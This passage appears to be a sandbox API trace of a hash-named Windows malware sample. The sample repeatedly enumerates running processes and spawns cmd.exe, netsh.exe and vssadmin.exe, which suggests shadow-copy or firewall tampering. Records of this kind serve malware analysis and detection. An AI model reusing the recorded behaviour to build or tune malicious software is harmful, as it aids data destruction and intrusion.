cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0060.692] GetLastError () returned 0x12 [0060.692] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0060.693] GetLastError () returned 0x12 [0060.693] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.694] GetLastError () returned 0x12 [0060.694] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0060.695] GetLastError () returned 0x12 [0060.695] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0060.696] GetLastError () returned 0x12 [0060.696] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0060.697] GetLastError () returned 0x12 [0060.697] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0060.697] GetLastError () returned 0x12 [0060.697] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0060.698] GetLastError () returned 0x12 [0060.698] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.699] GetLastError () returned 0x12 [0060.699] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.700] GetLastError () returned 0x12 [0060.700] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf24, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0060.701] GetLastError () returned 0x12 [0060.701] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xf2c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0060.701] GetLastError () returned 0x12 [0060.702] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0060.702] GetLastError () returned 0x12 [0060.702] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.703] GetLastError () returned 0x12 [0060.703] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0060.704] CloseHandle (hObject=0x184) returned 1 [0060.704] Sleep (dwMilliseconds=0x1f4) [0061.418] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x198 [0061.421] Process32FirstW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0061.422] GetLastError () returned 0x12 [0061.422] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0061.423] GetLastError () returned 0x12 [0061.423] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0061.424] GetLastError () returned 0x12 [0061.424] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.424] GetLastError () returned 0x12 [0061.424] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0061.425] GetLastError () returned 0x12 [0061.425] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.426] GetLastError () returned 0x12 [0061.426] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0061.427] GetLastError () returned 0x12 [0061.427] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0061.427] GetLastError () returned 0x12 [0061.427] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0061.428] GetLastError () returned 0x12 [0061.428] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0061.429] GetLastError () returned 0x12 [0061.429] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.429] GetLastError () returned 0x12 [0061.430] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.430] GetLastError () returned 0x12 [0061.430] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.431] GetLastError () returned 0x12 [0061.431] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.432] GetLastError () returned 0x12 [0061.432] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.433] GetLastError () returned 0x12 [0061.433] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.433] GetLastError () returned 0x12 [0061.433] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0061.434] GetLastError () returned 0x12 [0061.434] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.435] GetLastError () returned 0x12 [0061.435] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0061.435] GetLastError () returned 0x12 [0061.435] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0061.436] GetLastError () returned 0x12 [0061.436] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.437] GetLastError () returned 0x12 [0061.437] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0061.438] GetLastError () returned 0x12 [0061.438] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0061.438] GetLastError () returned 0x12 [0061.438] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x70c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0061.439] GetLastError () returned 0x12 [0061.439] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.440] GetLastError () returned 0x12 [0061.440] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0061.440] GetLastError () returned 0x12 [0061.441] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0061.441] GetLastError () returned 0x12 [0061.441] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0061.442] GetLastError () returned 0x12 [0061.442] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0061.443] GetLastError () returned 0x12 [0061.443] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0061.443] GetLastError () returned 0x12 [0061.444] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0061.444] GetLastError () returned 0x12 [0061.444] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0061.445] GetLastError () returned 0x12 [0061.445] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="paper left.exe")) returned 1 [0061.446] GetLastError () returned 0x12 [0061.446] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="lead possible.exe")) returned 1 [0061.447] GetLastError () returned 0x12 [0061.447] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="store future.exe")) returned 1 [0061.447] GetLastError () returned 0x12 [0061.447] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient_coach_choose.exe")) returned 1 [0061.448] GetLastError () returned 0x12 [0061.448] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bank_he.exe")) returned 1 [0061.449] GetLastError () returned 0x12 [0061.449] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="such_human.exe")) returned 1 [0061.449] GetLastError () returned 0x12 [0061.450] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="employee.exe")) returned 1 [0061.450] GetLastError () returned 0x12 [0061.450] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="music.exe")) returned 1 [0061.451] GetLastError () returned 0x12 [0061.451] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="societybitofficial.exe")) returned 1 [0061.452] GetLastError () returned 0x12 [0061.452] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="position_star.exe")) returned 1 [0061.452] GetLastError () returned 0x12 [0061.452] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="itself-material.exe")) returned 1 [0061.453] GetLastError () returned 0x12 [0061.453] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="homenothingbook.exe")) returned 1 [0061.454] GetLastError () returned 0x12 [0061.454] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mean.exe")) returned 1 [0061.455] GetLastError () returned 0x12 [0061.455] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="problem-public-use.exe")) returned 1 [0061.455] GetLastError () returned 0x12 [0061.455] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0061.456] GetLastError () returned 0x12 [0061.456] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0061.457] GetLastError () returned 0x12 [0061.457] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0061.457] GetLastError () returned 0x12 [0061.458] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0061.458] GetLastError () returned 0x12 [0061.458] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0061.459] GetLastError () returned 0x12 [0061.459] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0061.460] GetLastError () returned 0x12 [0061.460] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0061.460] GetLastError () returned 0x12 [0061.460] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0061.461] GetLastError () returned 0x12 [0061.461] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0061.683] GetLastError () returned 0x12 [0061.684] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0061.684] GetLastError () returned 0x12 [0061.684] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0061.685] GetLastError () returned 0x12 [0061.685] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0061.686] GetLastError () returned 0x12 [0061.686] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0061.687] GetLastError () returned 0x12 [0061.687] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0061.688] GetLastError () returned 0x12 [0061.688] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0061.689] GetLastError () returned 0x12 [0061.689] Process32NextW (in: hSnapshot=0x198, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, 